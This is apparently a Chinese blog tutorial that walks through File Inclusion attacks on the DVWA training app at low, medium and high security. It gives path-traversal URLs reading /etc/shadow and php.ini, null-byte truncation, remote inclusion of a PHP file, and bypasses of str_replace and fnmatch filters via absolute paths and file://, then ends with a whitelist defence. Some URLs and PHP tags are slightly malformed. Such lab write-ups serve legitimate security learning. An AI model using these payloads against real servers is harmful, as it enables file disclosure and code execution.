DVWA 的File Inclusion攻击与防护

这篇文章主要讲解 File Inclusion 的攻击与防护,

File Inclusion 简单来说 利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

这个练习的成功与否与相关环境的配置与版本有所关系, 因此不一定会完全有一样的测试结果

低安全层级

可以透过观察URL的page参数输入来读取我们希望的文件内容, 举例如下:

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file1.php
http://127.0.0.1/dvwa/vulnerabilities/fi/page=D:\xampp\htdocs\DVWA\php.ini

http://127.0.0.1/dvwa/vulnerabilities/fi/page=/etc/shadow

http://127.0.0.1/dvwa/vulnerabilities/fi/page=..\..\..\..\..\..\..\..\..\xampp\htdocs\dvwa\php.ini
<php
//Thepagewewishtodisplay
$file=$_GET['page'];
>

Magic_quote_gpc选项为off时,我们可以在文件名中使用%00进行截断

因此可以透过下列方式绕过文件后缀名检查

http://127.0.0.1/dvwa/vulnerabilities/fi/page=php.ini

http://127.0.0.1/dvwa/vulnerabilities/fi/page=php.ini%0012.php

当服务器的php配置中,选项allow_url_fopen与allow_url_include , 如果为开启状态就可以进一步利用为上传木马脚本

举例来说, 可以创建一个 phpinfo.txt 内容如下:

<?php

   phpinfo(); 

?>

当上传成功之后可以透过下列URL读取执行

http://127.0.0.1/dvwa/vulnerabilities/fi/page=http://127.0.0.1/phpinfo.txt

中级安全防护

这个防护主要使用 str_replace函数 将相关的危险字符串转换为空白

<php

//Thepagewewishtodisplay
$file=$_GET['page'];

//Inputvalidation
$file=str_replace(array("http://","https://"),"",$file);
$file=str_replace(array("../","..\""),"",$file);

>

相对路径的攻击方式在这个防护下将失效

http://127.0.0.1/dvwa/vulnerabilities/fi/page=…/./…/./…/./…/./…/./…/./…/./…/./…/./…/./xampp/htdocs/dvwa/php.ini

因为验证的路径方式只有限于相对路径, 因此还是可以透过绝对路径的方式绕过攻击

http://127.0.0.01/dvwa/vulnerabilities/fi/page=C:/xampp/htdocs/dvwa/php.ini

高安全性防护

高安全级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file, 但是我们还是可以利用file协议绕过

<php

//Thepagewewishtodisplay
$file=$_GET['page'];

//Inputvalidation
if(!fnmatch("file*",$file)&&$file!="include.php"){
   //Thisisn'tthepagewewant!
echo"ERROR:Filenotfound!";
exit;
}

>

file 绕过方式

http://127.0.0.1/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/php.ini

完整的防护方式

最简单完整的防护方式为白名单机制, 只限定 file1.php, file2.php与file3.php才可以读取

<php
//Thepagewewishtodisplay
$file=$_GET['page'];

//Onlyallowinclude.phporfile{1..3}.php
if($file!="include.php"&&$file!="file1.php"&&$file!="file2.php"&&$file!="file3.php"){
//Thisisn'tthepagewewant!
echo"ERROR:Filenotfound!";
exit;
}

>


Leave a Reply

Your email address will not be published. Required fields are marked *